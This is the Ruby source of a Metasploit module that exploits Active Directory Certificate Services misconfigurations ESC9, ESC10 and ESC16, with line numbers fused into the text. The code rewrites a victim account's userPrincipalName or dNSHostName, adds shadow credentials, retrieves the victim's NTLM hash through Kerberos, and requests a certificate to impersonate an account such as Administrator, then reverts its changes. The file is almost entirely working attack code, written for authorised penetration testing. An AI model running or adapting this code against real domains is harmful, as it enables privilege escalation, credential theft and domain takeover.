Path: blob/master/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb
21089 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb/dcerpc/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::LDAP9include Msf::Exploit::Remote::MsIcpr10include Msf::Exploit::Remote::SMB::Client::Authenticated11include Msf::Exploit::Remote::DCERPC12include Msf::Auxiliary::Report13include Msf::OptionalSession::SMB1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',20'Description' => %q{21This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically22ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.23The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the24admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the25admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via26MS-ICPR. The resulting certificate can be used for various operations, such as authentication.2728The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are29reverted after execution to maintain system integrity.30},31'License' => MSF_LICENSE,32'Author' => [33'Will Schroeder', # original idea/research34'Lee Christensen', # original idea/research35'Oliver Lyak', # certipy implementation36'Spencer McIntyre', # icpr_cert module implementation37'jheysel-r7' # module implementation38],39'References' => [40[ 'URL', 'https://github.com/GhostPack/Certify' ],41[ 'URL', 'https://github.com/ly4k/Certipy' ],42[ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],43[ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ]44],45'Notes' => {46'Reliability' => [],47'Stability' => [],48'SideEffects' => [ IOC_IN_LOGS ],49'AKA' => [ 'ESC9', 'ESC10', 'ESC16']50},51'Actions' => [52[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]53],54'DefaultAction' => 'REQUEST_CERT'55)56)5758deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')5960register_options([61OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),62OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),63OptString.new('LDAPPassword', [true, 'The password to authenticate with']),64OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),65OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),66OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])67])6869register_advanced_options(70[71OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),72OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),73]74)75end7677# For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation78def valid_fqdn?(str)79str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/80end8182def validate_options83if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])84fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")85end86end8788def run89validate_options90send("action_#{action.name.downcase}")91rescue MsIcprConnectionError, SmbIpcConnectionError => e92fail_with(Failure::Unreachable, e.message)93rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e94fail_with(Failure::NoAccess, e.message)95rescue MsIcprNotFoundError => e96fail_with(Failure::NotFound, e.message)97rescue MsIcprUnexpectedReplyError => e98fail_with(Failure::UnexpectedReply, e.message)99rescue MsIcprUnknownError => e100fail_with(Failure::Unknown, e.message)101end102103def call_ldap_object_module(action, value = nil)104mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'105106print_status("Loading #{mod_refname}")107ldap_update_module = framework.modules.create(mod_refname)108109unless ldap_update_module110print_error("Failed to load module: #{mod_refname}")111return112end113114# Default to using the SMB credentials if LDAP credentials are not provided115ldap_update_module = framework.modules.create(mod_refname)116ldap_update_module.datastore['RHOST'] = datastore['RHOST']117ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']118ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']119ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']120ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']121ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']122ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']123ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']124ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']125ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'126ldap_update_module.datastore['VALUE'] = value127ldap_update_module.datastore['ACTION'] = action128129print_status("Running #{mod_refname}")130ldap_update_module.run_simple(131'LocalInput' => user_input,132'LocalOutput' => user_output,133'RunAsJob' => false134)135end136137def call_shadow_credentials_module(action, device_id = nil)138mod_refname = 'admin/ldap/shadow_credentials'139140print_status("Loading #{mod_refname}")141ldap_update_module = framework.modules.create(mod_refname)142143unless ldap_update_module144print_error("Failed to load module: #{mod_refname}")145return146end147148# Default to using the SMB credentials if LDAP credentials are not provided149ldap_update_module = framework.modules.create(mod_refname)150ldap_update_module.datastore['RHOST'] = datastore['RHOST']151ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']152ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']153ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']154ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']155ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']156ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']157ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?158ldap_update_module.datastore['ACTION'] = action159160print_status("Running #{mod_refname}")161ldap_update_module.run_simple(162'LocalInput' => user_input,163'LocalOutput' => user_output,164'RunAsJob' => false165)166end167168def automate_get_hash(cert_path, username, domain, rhosts)169mod_refname = 'admin/kerberos/get_ticket'170171print_status("Loading #{mod_refname}")172get_ticket_module = framework.modules.create(mod_refname)173174unless get_ticket_module175print_error("Failed to load module: #{mod_refname}")176return177end178179print_status("Getting hash for #{username}")180get_ticket_module.datastore['CERT_FILE'] = cert_path181get_ticket_module.datastore['USERNAME'] = username182get_ticket_module.datastore['DOMAIN'] = domain183get_ticket_module.datastore['RHOSTS'] = rhosts184get_ticket_module.datastore['RPORT'] = 88185get_ticket_module.datastore['ACTION'] = 'GET_HASH'186187res = get_ticket_module.run_simple(188'LocalInput' => user_input,189'LocalOutput' => user_output,190'RunAsJob' => false191)192fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res193res194end195196def action_request_cert197new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']198# Get the original while updating (the update action returns the original value upon success)199@original_value = call_ldap_object_module('UPDATE', new_value)200fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])201202# Call the shadow credentials module to add the device and get the cert path203print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")204@device_id, cert_path = call_shadow_credentials_module('add')205hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])206with_ipc_tree do |opts|207datastore['SMBUser'] = datastore['TARGET_USERNAME']208datastore['SMBPass'] = hash209request_certificate(opts)210end211ensure212print_status('Removing shadow credential')213call_shadow_credentials_module('remove', device_id: @device_id)214print_status('Reverting ldap object')215revert_ldap_object216end217218def revert_ldap_object219# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the220# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.221if @original_value.to_s.empty?222call_ldap_object_module('DELETE')223else224call_ldap_object_module('UPDATE', @original_value)225end226end227228# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.229# @return [void]230def with_ipc_tree231opts = {}232if session233print_status("Using existing session #{session.sid}")234self.simple = session.simple_client235opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")236end237238yield opts239ensure240opts[:tree].disconnect! if opts[:tree]241end242end243244245